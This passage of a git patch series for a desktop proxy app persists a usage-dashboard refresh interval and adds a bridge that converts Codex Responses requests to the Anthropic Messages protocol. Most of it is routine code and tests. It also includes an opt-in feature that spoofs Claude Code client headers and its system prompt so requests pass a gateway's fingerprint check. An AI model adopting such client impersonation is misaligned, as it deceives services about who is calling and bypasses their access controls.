[savedRefreshIntervalMs]); // 切应用时清掉下游筛选,避免留下一个在新范围内查无数据的"幽灵"组合; // 切 Provider 同理清掉模型(模型选项随 Provider 级联)。 @@ -95,9 +118,23 @@ export function UsageDashboard() { // usage 查询,实现实时刷新(仅在 Dashboard 挂载时生效,离开页面自动取消监听) useUsageEventBridge(); - const changeRefreshInterval = (next: number) => { - setRefreshIntervalMs(next); + const changeRefreshInterval = async (next: number) => { + const normalized = normalizeRefreshInterval(next); + const previous = refreshIntervalMs; + setRefreshIntervalMs(normalized); queryClient.invalidateQueries({ queryKey: usageKeys.all }); + try { + const saved = await onRefreshIntervalChange?.(normalized); + if (saved === false) { + setRefreshIntervalMs(previous); + } + } catch (error) { + console.error( + "[UsageDashboard] Failed to persist refresh interval", + error, + ); + setRefreshIntervalMs(previous); + } }; const language = i18n.resolvedLanguage || i18n.language || "en"; diff --git a/src/lib/schemas/settings.ts b/src/lib/schemas/settings.ts index dbdff5e1e..2d2780d8e 100644 --- a/src/lib/schemas/settings.ts +++ b/src/lib/schemas/settings.ts @@ -15,6 +15,7 @@ export const settingsSchema = z.object({ skipClaudeOnboarding: z.boolean().optional(), launchOnStartup: z.boolean().optional(), enableLocalProxy: z.boolean().optional(), + usageDashboardRefreshIntervalMs: z.number().optional(), preserveCodexOfficialAuthOnSwitch: z.boolean().optional(), unifyCodexSessionHistory: z.boolean().optional(), language: z.enum(["en", "zh", "zh-TW", "ja"]).optional(), diff --git a/src/types.ts b/src/types.ts index 6dcb66af6..d8768a092 100644 --- a/src/types.ts +++ b/src/types.ts @@ -361,6 +361,7 @@ export interface Settings { proxyConfirmed?: boolean; // User has confirmed the usage query first-run notice usageConfirmed?: boolean; + usageDashboardRefreshIntervalMs?: number; // User has confirmed the stream check first-run notice streamCheckConfirmed?: boolean; // Whether to show the failover toggle independently on the main page diff --git a/tests/components/UsageDashboard.test.tsx b/tests/components/UsageDashboard.test.tsx new file mode 100644 index 000000000..644189aa1 --- /dev/null +++ b/tests/components/UsageDashboard.test.tsx @@ -0,0 +1,155 @@ +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import { + fireEvent, + render, + screen, + waitFor, + within, +} from "@testing-library/react"; +import type { ComponentProps } from "react"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { UsageDashboard } from "@/components/usage/UsageDashboard"; + +const useProviderStatsMock = vi.hoisted(() => vi.fn()); +const useModelStatsMock = vi.hoisted(() => vi.fn()); + +vi.mock("react-i18next", () => ({ + useTranslation: () => ({ + t: (key: string, fallback?: string) => fallback ?? key, + i18n: { + resolvedLanguage: "en", + language: "en", + }, + }), +})); + +vi.mock("framer-motion", () => ({ + motion: { + div: ({ children, ...props }: any) =>
{children}
, + }, +})); + +vi.mock("@/hooks/useUsageEventBridge", () => ({ + useUsageEventBridge: () => {}, +})); + +vi.mock("@/lib/query/usage", async () => { + const actual = + await vi.importActual( + "@/lib/query/usage", + ); + return { + ...actual, + useProviderStats: (...args: unknown[]) => useProviderStatsMock(...args), + useModelStats: (...args: unknown[]) => useModelStatsMock(...args), + }; +}); + +vi.mock("@/components/usage/UsageHero", () => ({ + UsageHero: () =>
, +})); + +vi.mock("@/components/usage/UsageTrendChart", () => ({ + UsageTrendChart: () =>
, +})); + +vi.mock("@/components/usage/RequestLogTable", () => ({ + RequestLogTable: () =>
, +})); + +vi.mock("@/components/usage/ProviderStatsTable", () => ({ + ProviderStatsTable: () =>
, +})); + +vi.mock("@/components/usage/ModelStatsTable", () => ({ + ModelStatsTable: () =>
, +})); + +vi.mock("@/components/usage/PricingConfigPanel", () => ({ + PricingConfigPanel: () =>
, +})); + +vi.mock("@/components/usage/UsageDateRangePicker", () => ({ + UsageDateRangePicker: () => , +})); + +vi.mock("@/components/ui/select", () => ({ + Select: ({ value, onValueChange, children }: any) => ( +
+ {children} + +
+ ), + SelectTrigger: ({ children, ...props }: any) => ( + + ), + SelectValue: () => null, + SelectContent: ({ children }: any) =>
{children}
, + SelectItem: ({ children, ...props }: any) =>
{children}
, +})); + +const renderDashboard = (props: ComponentProps = {}) => { + const queryClient = new QueryClient({ + defaultOptions: { + queries: { retry: false }, + }, + }); + return render( + + + , + ); +}; + +describe("UsageDashboard", () => { + beforeEach(() => { + useProviderStatsMock.mockReset(); + useModelStatsMock.mockReset(); + useProviderStatsMock.mockReturnValue({ data: [] }); + useModelStatsMock.mockReturnValue({ data: [] }); + }); + + it("uses the saved refresh interval when mounted", () => { + renderDashboard({ refreshIntervalMs: 5000 }); + + expect(screen.getByTestId("select-5000")).toBeInTheDocument(); + }); + + it("persists refresh interval changes", async () => { + const onRefreshIntervalChange = vi.fn().mockResolvedValue(true); + renderDashboard({ onRefreshIntervalChange }); + + fireEvent.click( + within(screen.getByTestId("select-30000")).getByRole("button", { + name: "choose-5000", + }), + ); + + await waitFor(() => + expect(onRefreshIntervalChange).toHaveBeenCalledWith(5000), + ); + expect(screen.getByTestId("select-5000")).toBeInTheDocument(); + }); + + it("rolls back optimistic interval changes when persistence fails", async () => { + const onRefreshIntervalChange = vi.fn().mockResolvedValue(false); + renderDashboard({ onRefreshIntervalChange }); + + fireEvent.click( + within(screen.getByTestId("select-30000")).getByRole("button", { + name: "choose-5000", + }), + ); + + await waitFor(() => + expect(onRefreshIntervalChange).toHaveBeenCalledWith(5000), + ); + await waitFor(() => + expect(screen.getByTestId("select-30000")).toBeInTheDocument(), + ); + }); +}); From 99e11e0851972e0ef7307be9c328a85b8371531e Mon Sep 17 00:00:00 2001 From: Yeeyzy Date: Fri, 10 Jul 2026 23:06:30 +0800 Subject: [PATCH 41/73] feat(codex): support native Anthropic Messages protocol as upstream (#5071) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(codex): support native Anthropic Messages protocol as upstream Allow gateways that only expose the native Anthropic Messages protocol (/v1/messages) to be used by Codex: the local proxy performs bidirectional request/response/streaming conversion between Responses and Anthropic. Backend: - Add two conversion modules: transform_codex_anthropic / streaming_codex_anthropic - codex.rs: add routing detection and auth: ANTHROPIC_AUTH_TOKEN→Bearer (default), ANTHROPIC_API_KEY→x-api-key, mutually exclusive - handlers.rs: add handle_codex_anthropic_to_responses_transform - forwarder.rs: support optional Claude Code client fingerprint impersonation (User-Agent / anthropic-beta / x-app / system prompt first-line injection) and /responses→/v1/messages rewriting - codex_config: the anthropic format reuses the NativeResponses profile to strip custom tools - ProviderMeta: add impersonateClaudeCode Frontend: - CodexApiFormat: add "anthropic"; the form adds auth field selection and an impersonation toggle - Add en/ja/zh/zh-TW copy Robustness: - Downgrade when tool history / forced tool_choice conflicts with extended thinking, avoiding upstream 400s - Emit cache_creation_input_tokens in usage and use saturating_add to guard against overflow - Append a unique suffix to non-streaming/streaming output-item ids to avoid multi-segment text/thinking overwriting each other * fix(codex): harden Anthropic bridge against empty text blocks and truncated streams - Drop empty/whitespace-only text content blocks when rebuilding Anthropic messages from Responses history; Anthropic 400s on empty text blocks (e.g. an empty assistant text emitted alongside a tool_use), which broke follow-up and tool-result requests. Also drop messages left without content. - Do not report a truncated Anthropic stream as completed: when the SSE connection ends before message_stop with no stop_reason, emit an incomplete response if partial output exists, or a failed (stream_truncated) response otherwise, mirroring the chat converter's EOF handling. * fix(codex): resolve Anthropic-bridge review findings Blocking: 1. Defer stripping the [1m] long-context marker until after catalog matching and model write-back, re-stripping it on the final Codex→Anthropic body and setting a flag to emit the context-1m-2025-08-07 beta header, so the marker is no longer lost or overridden by the default model. 2. Gate Anthropic thinking on the trailing turn only (via trailing_turn_allows_thinking) instead of scanning full history, so a Codex session that resends history each round no longer permanently loses thinking after the first tool call. 3. Inject 5m ephemeral cache_control on the Codex→Anthropic body by reusing cache_injector (handling the system string→array conversion), so system/tools/history are cached instead of re-sent at full price every round. 4. Add a shared base_url_is_full_endpoint helper (normalizing whitespace/query/fragment/trailing slash) used by both the Anthropic and Chat paths, so a base URL already ending in /v1/messages is treated as a full endpoint instead of double-appending to /v1/messages/v1/messages. 5. Align the catalog tool-profile predicate with the routing predicate so resolve_codex_catalog_tool_profile returns the Anthropic profile whenever the request converts to Anthropic, preventing freeform tools like apply_patch from being silently filtered by a ProxyChat catalog. 6. Explicitly disable native web_search for the Anthropic profile (including the no-catalog branch) via set_codex_native_web_search_field, so Codex no longer treats it as available while the transform silently drops it. 7. Only forward tool_choice when tools survive filtering, dropping it otherwise, to avoid a non-retryable 400 from upstream when tool_choice is sent with no tools. 8. Lower the fallback default to max_tokens=8192 (only when max_output_tokens is omitted) and clamp the thinking budget to max_tokens/2, disabling thinking below the 1024 floor, to avoid hard 400s on low-output-ceiling models/gateways. Minor: 9. Centralize the Codex/OpenAI fingerprint-header denylist in is_codex_client_fingerprint_header so impersonating Claude Code uniformly drops originator/session_id/conversation_id/chatgpt-account-id/x-client-request-id/openai-* and the x-stainless-*/x-codex-* prefixes. 10. Retain content_block_start.input as start_input and fall back to it at block close when no input_json_delta arrived, so a gateway that carries the full tool input on the start event no longer yields empty tool arguments. 11. Extract a shared codex_responses_sse module as the single Responses SSE envelope builder that both the chat and anthropic streaming emitters delegate to, with byte-for-byte-unchanged wire output, so future event-format fixes touch one place instead of two. * fix(codex): add per-provider max_output_tokens override for Codex→Anthropic path Codex does not forward model_max_output_tokens in the request body, causing the proxy to fall back to a conservative 8192 default. This truncates long or thinking-heavy responses (stop_reason=max_tokens). - Add maxOutputTokens field to ProviderMeta (Rust + TypeScript) - Inject the value into the Anthropic request body before transform, taking precedence over request-supplied and default values - Add numeric input in Codex form fields (Anthropic format only) - Add i18n entries for label, placeholder, and hint (en/zh/zh-TW/ja) - Include roundtrip and omission unit tests for the new field * fix(codex): harden Anthropic protocol bridge * fix(codex): address Anthropic bridge review * fix(codex): preserve flattened Anthropic inputs * fix(codex): harden Anthropic recovery paths * fix(ci): satisfy Rust clippy --------- Co-authored-by: Jason --- src-tauri/src/codex_config.rs | 102 +- src-tauri/src/provider.rs | 44 + src-tauri/src/proxy/cache_injector.rs | 55 +- src-tauri/src/proxy/forwarder.rs | 488 +++- src-tauri/src/proxy/handlers.rs | 285 +- src-tauri/src/proxy/hyper_client.rs | 39 + src-tauri/src/proxy/providers/codex.rs | 301 +- .../proxy/providers/codex_responses_sse.rs | 399 +++ src-tauri/src/proxy/providers/mod.rs | 8 +- .../providers/streaming_codex_anthropic.rs | 1166 ++++++++ .../proxy/providers/streaming_codex_chat.rs | 309 +-- .../providers/transform_codex_anthropic.rs | 2443 +++++++++++++++++ .../proxy/providers/transform_codex_chat.rs | 6 +- src-tauri/src/proxy/thinking_optimizer.rs | 52 +- src-tauri/src/services/config.rs | 4 +- src-tauri/src/services/provider/live.rs | 11 +- src-tauri/src/services/proxy.rs | 14 +- src/components/providers/ProviderCard.tsx | 10 +- .../providers/forms/CodexFormFields.tsx | 126 +- .../providers/forms/ProviderForm.tsx | 90 +- src/hooks/useProviderActions.ts | 18 + src/i18n/locales/en.json | 12 +- src/i18n/locales/ja.json | 12 +- src/i18n/locales/zh-TW.json | 12 +- src/i18n/locales/zh.json | 12 +- src/types.ts | 11 +- src/utils/providerConfigUtils.test.ts | 26 + src/utils/providerConfigUtils.ts | 27 + tests/hooks/useProviderActions.test.tsx | 22 + 29 files changed, 5733 insertions(+), 371 deletions(-) create mode 100644 src-tauri/src/proxy/providers/codex_responses_sse.rs create mode 100644 src-tauri/src/proxy/providers/streaming_codex_anthropic.rs create mode 100644 src-tauri/src/proxy/providers/transform_codex_anthropic.rs diff --git a/src-tauri/src/codex_config.rs b/src-tauri/src/codex_config.rs index 6f4f3aac2..b6b899a54 100644 --- a/src-tauri/src/codex_config.rs +++ b/src-tauri/src/codex_config.rs @@ -108,14 +108,27 @@ const CODEX_MODEL_CATALOG_TEMPLATE_SLUG: &str = "gpt-5.5"; pub enum CodexCatalogToolProfile { ProxyChat, NativeResponses, + /// Codex talks (through cc-switch's proxy) to a native Anthropic Messages + /// gateway. Like `NativeResponses` it must suppress Codex's freeform custom + /// tools — the Responses→Anthropic transform keeps only `function` tools. + /// Additionally the Codex `web_search` hosted tool is unusable on this path + /// (the transform drops it), so it is always disabled — see + /// `prepare_codex_config_text_with_model_catalog`. + Anthropic, } impl CodexCatalogToolProfile { /// Pick the catalog tool profile from a provider's `apiFormat` meta value. - /// Native (direct) Responses providers must suppress the custom apply_patch - /// tool; everything else keeps the proxy-chat behavior. + /// + /// Prefer [`crate::proxy::providers::codex::resolve_codex_catalog_tool_profile`], + /// which also honors settings-level `apiFormat` and the TOML `wire_api` (matching + /// the proxy router). This string-only mapping is the fallback for non-Anthropic + /// cases. pub fn from_api_format(api_format: Option<&str>) -> Self { match api_format { + Some("anthropic") => CodexCatalogToolProfile::Anthropic, + // Native (direct) Responses gateways reject Codex's freeform custom + // tools (apply_patch, etc.); strip them via the NativeResponses profile. Some("openai_responses") => CodexCatalogToolProfile::NativeResponses, _ => CodexCatalogToolProfile::ProxyChat, } @@ -440,10 +453,10 @@ fn codex_catalog_model_entry( entry_obj.insert("availability_nux".to_string(), Value::Null); entry_obj.insert("upgrade".to_string(), Value::Null); - if profile == CodexCatalogToolProfile::NativeResponses { - // Native `/responses` gateways reject Codex's freeform `apply_patch` - // (type=="custom") tool. Strip any key that would make Codex emit a - // custom/freeform tool, and rely on shell_type="shell_command" for + if profile != CodexCatalogToolProfile::ProxyChat { + // Native `/responses` and Anthropic gateways reject / drop Codex's freeform + // `apply_patch` (type=="custom") tool. Strip any key that would make Codex + // emit a custom/freeform tool, and rely on shell_type="shell_command" for // edits. Defensive even though the native template is already clean // (guards against template drift / an accidental gpt-5.5 clone). // @@ -870,7 +883,9 @@ fn codex_model_catalog_from_settings( // no cache dependency); proxy-chat providers keep cloning Codex's gpt-5.5 // entry so the proxy can rewrite custom<->function tools as before. let template = match profile { - CodexCatalogToolProfile::NativeResponses => load_codex_native_responses_template(), + CodexCatalogToolProfile::NativeResponses | CodexCatalogToolProfile::Anthropic => { + load_codex_native_responses_template() + } CodexCatalogToolProfile::ProxyChat => load_codex_model_catalog_template()?, }; Ok(Some(codex_model_catalog_from_specs( @@ -954,14 +969,25 @@ pub fn prepare_codex_config_text_with_model_catalog( // (MiMo/LongCat/MiniMax by host or model brand; Qwen3-Coder by model). // Everything else — relays, DouBao, web-search-capable Qwen models, // unknown providers — keeps Codex's default. - let disable_web_search = profile == CodexCatalogToolProfile::NativeResponses - && codex_native_gateway_rejects_web_search(&config_text); + let disable_web_search = match profile { + // The Responses→Anthropic transform silently drops the Codex web_search + // hosted tool, so always disable it here rather than present a dead tool. + CodexCatalogToolProfile::Anthropic => true, + CodexCatalogToolProfile::NativeResponses => { + codex_native_gateway_rejects_web_search(&config_text) + } + CodexCatalogToolProfile::ProxyChat => false, + }; let config_text = set_codex_native_web_search_field(&config_text, disable_web_search)?; write_json_file(&catalog_path, &catalog)?; Ok(config_text) } else { let config_text = set_codex_model_catalog_json_field(config_text, None)?; - set_codex_native_web_search_field(&config_text, false) + // Even without a generated catalog, the Responses→Anthropic transform drops the + // Codex web_search hosted tool, so keep the invariant that an Anthropic provider + // never presents it as a dead tool. + let disable_web_search = profile == CodexCatalogToolProfile::Anthropic; + set_codex_native_web_search_field(&config_text, disable_web_search) } } @@ -1739,6 +1765,26 @@ mod tests { use super::*; use serde_json::json; + #[test] + fn catalog_tool_profile_from_api_format() { + assert_eq!( + CodexCatalogToolProfile::from_api_format(Some("anthropic")), + CodexCatalogToolProfile::Anthropic + ); + assert_eq!( + CodexCatalogToolProfile::from_api_format(Some("openai_responses")), + CodexCatalogToolProfile::NativeResponses + ); + assert_eq!( + CodexCatalogToolProfile::from_api_format(Some("openai_chat")), + CodexCatalogToolProfile::ProxyChat + ); + assert_eq!( + CodexCatalogToolProfile::from_api_format(None), + CodexCatalogToolProfile::ProxyChat + ); + } + #[test] fn unified_session_bucket_injects_for_empty_official_config() { let injected = inject_codex_unified_session_bucket("").expect("inject"); @@ -2672,6 +2718,42 @@ web_search = "disabled" ); } + #[test] + fn anthropic_profile_disables_web_search_without_catalog() { + // Regression: even when no model catalog is generated (empty/absent + // modelCatalog), an Anthropic provider must still disable web_search — the + // Responses→Anthropic transform drops the hosted tool, so leaving it on + // exposes a dead tool. The None-catalog branch previously always left it on. + let config = "model = \"claude-sonnet-4-6\"\n"; + let settings = serde_json::json!({}); + + let anthropic = prepare_codex_config_text_with_model_catalog( + &settings, + config, + CodexCatalogToolProfile::Anthropic, + ) + .unwrap(); + let parsed: toml::Value = toml::from_str(&anthropic).unwrap(); + assert_eq!( + parsed.get("web_search").and_then(|v| v.as_str()), + Some("disabled"), + "Anthropic profile must disable web_search even with no catalog" + ); + + // ProxyChat on the same no-catalog path must NOT add a disable line. + let proxy = prepare_codex_config_text_with_model_catalog( + &settings, + config, + CodexCatalogToolProfile::ProxyChat, + ) + .unwrap(); + let parsed: toml::Value = toml::from_str(&proxy).unwrap(); + assert!( + parsed.get("web_search").is_none(), + "ProxyChat profile must not disable web_search on the no-catalog path" + ); + } + #[test] fn web_search_blacklist_disables_only_known_reject_gateways() { let cfg = |model: &str, base_url: &str| { diff --git a/src-tauri/src/provider.rs b/src-tauri/src/provider.rs index 71d965af8..2645e21bc 100644 --- a/src-tauri/src/provider.rs +++ b/src-tauri/src/provider.rs @@ -486,6 +486,26 @@ pub struct ProviderMeta { /// Codex Responses -> Chat Completions reasoning capability metadata. #[serde(rename = "codexChatReasoning", skip_serializing_if = "Option::is_none")] pub codex_chat_reasoning: Option, + /// Codex → Anthropic path: whether to emulate the Claude Code client + /// (User-Agent / anthropic-beta / x-app + injecting the Claude Code system + /// prompt first line). Disabled by default; only an explicit `true` enables it. + #[serde( + rename = "impersonateClaudeCode", + skip_serializing_if = "Option::is_none" + )] + pub impersonate_claude_code: Option, + /// Codex → Anthropic path: override the Anthropic `max_tokens` (output ceiling). + /// + /// Codex does not forward its `model_max_output_tokens` in the Responses + /// request body, so without this the path falls back to a conservative + /// default (8192), which truncates long or thinking-heavy responses + /// (`stop_reason=max_tokens`). When set (>0), this value is injected as the + /// request's `max_output_tokens` before conversion, taking precedence over + /// both any request-supplied value and the default. Kept per-provider on + /// purpose: a global large default would hard-400 on low-output-ceiling + /// models/gateways (and that error is non-retryable). + #[serde(rename = "maxOutputTokens", skip_serializing_if = "Option::is_none")] + pub max_output_tokens: Option, /// Custom User-Agent for local proxy routing. #[serde(rename = "customUserAgent", skip_serializing_if = "Option::is_none")] pub custom_user_agent: Option, @@ -993,6 +1013,30 @@ mod tests { assert!(value.get("pricingModelSource").is_none()); } + #[test] + fn provider_meta_roundtrips_max_output_tokens() { + let meta = ProviderMeta { + max_output_tokens: Some(64000), + ..ProviderMeta::default() + }; + + let value = serde_json::to_value(&meta).expect("serialize ProviderMeta"); + assert_eq!( + value.get("maxOutputTokens").and_then(|v| v.as_u64()), + Some(64000) + ); + assert!(value.get("max_output_tokens").is_none()); + + let parsed: ProviderMeta = serde_json::from_value(value).expect("deserialize ProviderMeta"); + assert_eq!(parsed.max_output_tokens, Some(64000)); + } + + #[test] + fn provider_meta_omits_max_output_tokens_when_none() { + let value = serde_json::to_value(ProviderMeta::default()).expect("serialize ProviderMeta"); + assert!(value.get("maxOutputTokens").is_none()); + } + #[test] fn provider_meta_roundtrips_local_proxy_request_overrides() { let meta = ProviderMeta { diff --git a/src-tauri/src/proxy/cache_injector.rs b/src-tauri/src/proxy/cache_injector.rs index e3274d526..e2b0464ad 100644 --- a/src-tauri/src/proxy/cache_injector.rs +++ b/src-tauri/src/proxy/cache_injector.rs @@ -76,32 +76,28 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { } } - // (c) 最后一条 assistant 消息的最后一个非 thinking block + // (c) 最后一条可缓存消息的最后一个非 thinking block。工具循环通常以 + // user/tool_result 结束;只标 assistant 会让最新稳定前缀无法命中缓存。 if budget > 0 { if let Some(messages) = body.get_mut("messages").and_then(|m| m.as_array_mut()) { - if let Some(assistant_msg) = messages - .iter_mut() - .rev() - .find(|m| m.get("role").and_then(|r| r.as_str()) == Some("assistant")) - { - if let Some(content) = assistant_msg - .get_mut("content") - .and_then(|c| c.as_array_mut()) - { - // 逆序找最后一个非 thinking/redacted_thinking block - if let Some(block) = content.iter_mut().rev().find(|b| { - let bt = b.get("type").and_then(|t| t.as_str()).unwrap_or(""); - bt != "thinking" && bt != "redacted_thinking" + 'messages: for message in messages.iter_mut().rev() { + if let Some(content) = message.get_mut("content").and_then(|c| c.as_array_mut()) { + if let Some(block) = content.iter_mut().rev().find(|block| { + !matches!( + block.get("type").and_then(Value::as_str), + Some("thinking" | "redacted_thinking") + ) }) { if block.get("cache_control").is_none() { - if let Some(o) = block.as_object_mut() { - o.insert( + if let Some(object) = block.as_object_mut() { + object.insert( "cache_control".to_string(), make_cache_control(&config.cache_ttl), ); + injected.push("msgs"); } - injected.push("msgs"); } + break 'messages; } } } @@ -206,10 +202,10 @@ mod tests { #[test] fn test_empty_body_no_injection() { let mut body = json!({"model": "test", "messages": [{"role": "user", "content": [{"type": "text", "text": "hi"}]}]}); - let original = body.clone(); inject(&mut body, &default_config()); - // No tools, no system, no assistant → no injection - assert_eq!(body, original); + assert!(body["messages"][0]["content"][0] + .get("cache_control") + .is_some()); } #[test] @@ -374,4 +370,23 @@ mod tests { .get("cache_control") .is_none()); } + + #[test] + fn test_injects_latest_tool_result_instead_of_older_assistant() { + let mut body = json!({ + "messages": [ + {"role": "assistant", "content": [{"type": "tool_use", "id": "call_1", "name": "Read", "input": {}}]}, + {"role": "user", "content": [{"type": "tool_result", "tool_use_id": "call_1", "content": "done"}]} + ] + }); + + inject(&mut body, &default_config()); + + assert!(body["messages"][0]["content"][0] + .get("cache_control") + .is_none()); + assert!(body["messages"][1]["content"][0] + .get("cache_control") + .is_some()); + } } diff --git a/src-tauri/src/proxy/forwarder.rs b/src-tauri/src/proxy/forwarder.rs index d11e52901..ab6ab134e 100644 --- a/src-tauri/src/proxy/forwarder.rs +++ b/src-tauri/src/proxy/forwarder.rs @@ -1122,6 +1122,14 @@ impl RequestForwarder { == Some("github_copilot") || base_url.contains("githubcopilot.com"); + // Codex upstream conversion mode — computed early because the [1m]-suffix strip + // below must be skipped on the Anthropic path (the marker has to survive to + // catalog matching and to the transform's own strip+beta detection). + let codex_responses_to_chat = matches!(app_type, AppType::Codex) + && super::providers::should_convert_codex_responses_to_chat(provider, endpoint); + let codex_responses_to_anthropic = matches!(app_type, AppType::Codex) + && super::providers::should_convert_codex_responses_to_anthropic(provider, endpoint); + // 应用模型映射(独立于格式转换) // Claude Desktop proxy 模式必须先把 Desktop 可见的 claude-* route // 映射成真实上游模型名,并且未知 route 要直接报错,不能使用默认模型兜底。 @@ -1142,7 +1150,11 @@ impl RequestForwarder { super::providers::copilot_model_map::apply_copilot_model_normalization(mapped_body); self.apply_copilot_live_model_resolution(provider, &mut mapped_body) .await; - } else { + } else if !codex_responses_to_anthropic { + // Skip on the Codex→Anthropic path: stripping [1m] here would break both the + // model-catalog match (apply_codex_upstream_model) and the transform's own + // strip+`context-1m` beta detection. The marker is stripped later, on the + // final anthropic_body. mapped_body = super::model_mapper::strip_one_m_suffix_for_upstream_from_body(mapped_body); } @@ -1300,10 +1312,22 @@ impl RequestForwarder { Some(api_format) => super::providers::claude_api_format_needs_transform(api_format), None => adapter.needs_transform(provider), }; - let codex_responses_to_chat = matches!(app_type, AppType::Codex) - && super::providers::should_convert_codex_responses_to_chat(provider, endpoint); + // Codex → Anthropic: Claude Code emulation is off by default and only + // enabled when the user explicitly turns it on in the UI, so requests can + // pass a gateway's "Claude Code only" fingerprint check (User-Agent / + // anthropic-beta / x-app / system prompt first line). Defaulting to off + // avoids leaking the Claude Code fingerprint and identity prompt to + // general-purpose gateways. + let codex_impersonate_claude_code = codex_responses_to_anthropic + && provider + .meta + .as_ref() + .and_then(|meta| meta.impersonate_claude_code) + == Some(true); let (effective_endpoint, passthrough_query) = if codex_responses_to_chat { rewrite_codex_responses_endpoint_to_chat(endpoint) + } else if codex_responses_to_anthropic { + rewrite_codex_responses_endpoint_to_anthropic(endpoint) } else if needs_transform && adapter.name() == "Claude" { let api_format = resolved_claude_api_format .as_deref() @@ -1318,11 +1342,16 @@ impl RequestForwarder { ) }; - let codex_chat_base_is_full_endpoint = codex_responses_to_chat - && base_url - .trim_end_matches('/') - .to_ascii_lowercase() - .ends_with("/chat/completions"); + let codex_chat_base_is_full_endpoint = + codex_responses_to_chat && base_url_is_full_endpoint(&base_url, "/chat/completions"); + + // Defensive fallback mirroring `codex_chat_base_is_full_endpoint`: if a user pastes + // a base URL already ending in the Anthropic `/v1/messages` endpoint but leaves the + // "full URL" switch off, treat it as a full endpoint so we don't double-append + // `/v1/messages` (→ `.../v1/messages/v1/messages`, a non-retryable 400). Matches the + // exact endpoint suffix, so prefixed gateways like `.../api/v1/messages` are covered. + let codex_anthropic_base_is_full_endpoint = + codex_responses_to_anthropic && base_url_is_full_endpoint(&base_url, "/v1/messages"); let url = if matches!(resolved_claude_api_format.as_deref(), Some("gemini_native")) { super::gemini_url::resolve_gemini_native_url( @@ -1330,7 +1359,10 @@ impl RequestForwarder { &effective_endpoint, is_full_url, ) - } else if is_full_url || codex_chat_base_is_full_endpoint { + } else if is_full_url + || codex_chat_base_is_full_endpoint + || codex_anthropic_base_is_full_endpoint + { append_query_to_full_url(&base_url, passthrough_query.as_deref()) } else { adapter.build_url(&base_url, &effective_endpoint) @@ -1345,6 +1377,10 @@ impl RequestForwarder { .filter(|m| !m.is_empty()) .map(str::to_string); + // Codex→Anthropic: when the model name carries the [1m] marker, strip the + // suffix and add the context-1m beta header. + let mut codex_anthropic_one_m = false; + // 转换请求体(如果需要) let mut request_body = if codex_responses_to_chat { let mut mapped_body = mapped_body; @@ -1364,6 +1400,67 @@ impl RequestForwarder { mapped_body, reasoning_config.as_ref(), )? + } else if codex_responses_to_anthropic { + let mut mapped_body = mapped_body; + super::providers::apply_codex_upstream_model(provider, &mut mapped_body); + // Per-provider output ceiling override. Codex does not forward its + // `model_max_output_tokens` in the request body, so honor the value + // configured on the provider here — it takes precedence over any + // request-supplied `max_output_tokens` and over the default below. + // Injecting it into the body (rather than overriding after transform) + // lets the thinking-budget clamp size its headroom against the real + // ceiling too. Kept per-provider to avoid a global large default that + // would 400 on low-output-ceiling gateways. + if let Some(max_out) = provider + .meta + .as_ref() + .and_then(|meta| meta.max_output_tokens) + .filter(|v| *v > 0) + { + mapped_body["max_output_tokens"] = Value::from(max_out); + } + // Anthropic requires max_tokens; fall back to this default only when the + // Codex request omits max_output_tokens (rare — Codex normally sends it). + // Kept conservative so a low-output-ceiling model or relay does not hard-400 + // on the fallback (a too-high default 400s and is non-retryable); 8192 is + // accepted by every current Claude model and virtually all gateways. The + // transform clamps any thinking budget below this value. + const DEFAULT_CODEX_ANTHROPIC_MAX_TOKENS: u64 = 8192; + let mut anthropic_body = + super::providers::transform_codex_anthropic::responses_request_to_anthropic( + mapped_body, + DEFAULT_CODEX_ANTHROPIC_MAX_TOKENS, + )?; + // Handle the 1M-context marker [1m]: strip the model-name suffix (the + // gateway doesn't recognize it) and set the flag so the beta header is + // added. apply_codex_upstream_model may have just written back a model + // name carrying [1m] from the provider config, so strip it once more on + // the final body here. + if let Some(model) = anthropic_body.get("model").and_then(|v| v.as_str()) { + let stripped = super::model_mapper::strip_one_m_suffix_for_upstream(model); + if stripped != model { + codex_anthropic_one_m = true; + anthropic_body["model"] = Value::String(stripped.to_string()); + } + } + if codex_impersonate_claude_code { + prepend_claude_code_system_prompt(&mut anthropic_body); + } + // Enable Anthropic prompt caching (no beta header required). Reuse the + // configured TTL rather than silently forcing 5m on this conversion path. + // otherwise system/tools/history are re-sent at full price every round, + // inflating cost and first-token latency. The injector handles the + // string→array `system` conversion and the 4-breakpoint cap. + super::cache_injector::inject( + &mut anthropic_body, + &super::types::OptimizerConfig { + enabled: true, + thinking_optimizer: false, + cache_injection: true, + cache_ttl: self.optimizer_config.cache_ttl.clone(), + }, + ); + anthropic_body } else if needs_transform { if adapter.name() == "Claude" { let api_format = resolved_claude_api_format @@ -1420,8 +1517,10 @@ impl RequestForwarder { ); let request_is_streaming = is_streaming_request(&effective_endpoint, &filtered_body, headers); - let force_identity_encoding = - needs_transform || codex_responses_to_chat || request_is_streaming; + let force_identity_encoding = needs_transform + || codex_responses_to_chat + || codex_responses_to_anthropic + || request_is_streaming; // Codex OAuth 需要注入的 ChatGPT-Account-Id(在动态 token 获取期间填充) let mut codex_oauth_account_id: Option = None; @@ -1563,6 +1662,13 @@ impl RequestForwarder { .as_ref() .and_then(|meta| meta.custom_user_agent_header().ok().flatten()) }; + // Codex→Anthropic emulation: when there is no custom UA, override Codex's + // codex_cli_rs UA with the Claude Code UA. + let custom_user_agent = if custom_user_agent.is_none() && codex_impersonate_claude_code { + Some(http::HeaderValue::from_static(CLAUDE_CODE_USER_AGENT)) + } else { + custom_user_agent + }; // --- Copilot 优化器:动态 header 注入 --- if let Some((ref classification, ref det_request_id, ref interaction_id)) = @@ -1648,6 +1754,17 @@ impl RequestForwarder { } else { CLAUDE_CODE_BETA.to_string() }) + } else if codex_impersonate_claude_code || codex_anthropic_one_m { + // Codex→Anthropic: emulation injects the claude-code marker; a [1m] + // model injects the context-1m marker. + let mut betas: Vec<&str> = Vec::new(); + if codex_impersonate_claude_code { + betas.push("claude-code-20250219"); + } + if codex_anthropic_one_m { + betas.push("context-1m-2025-08-07"); + } + Some(betas.join(",")) } else { None }; @@ -1658,6 +1775,7 @@ impl RequestForwarder { let mut ordered_headers = http::HeaderMap::new(); let mut saw_auth = false; let mut saw_accept_encoding = false; + let mut saw_accept = false; let mut saw_user_agent = false; let mut saw_anthropic_beta = false; let mut 